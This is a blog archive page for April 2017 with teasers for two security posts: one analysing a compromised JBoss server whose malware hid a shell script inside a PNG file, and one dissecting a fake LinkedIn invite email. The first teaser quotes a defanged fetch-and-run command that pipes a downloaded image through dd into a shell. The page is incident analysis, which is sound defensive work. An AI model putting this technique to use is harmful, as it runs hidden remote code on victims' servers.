Archive for April 2017

Covert channels: Hiding shell scripts in PNG files

A colleague made me aware of a JBoss server having been compromised. Upon inspection, one of the processes run by the JBoss user account was this one: sh -c curl hxxp:// -k|dd skip=2446 bs=1|sh   This is a rather elegant way of disguising malicious code. If we first take a look at the png file: […]

Fake LinkedIn invites

Yet another fake LinkedIn invite landed in my inbox today. Just for the fun of it, I decided to dissect the fake invite. The first thing that caught my attention was the email’s subject: Add Me On LinkedIn. Normally, LinkedIn invite requests appear as polite and humble, this one not so much. Next was the […]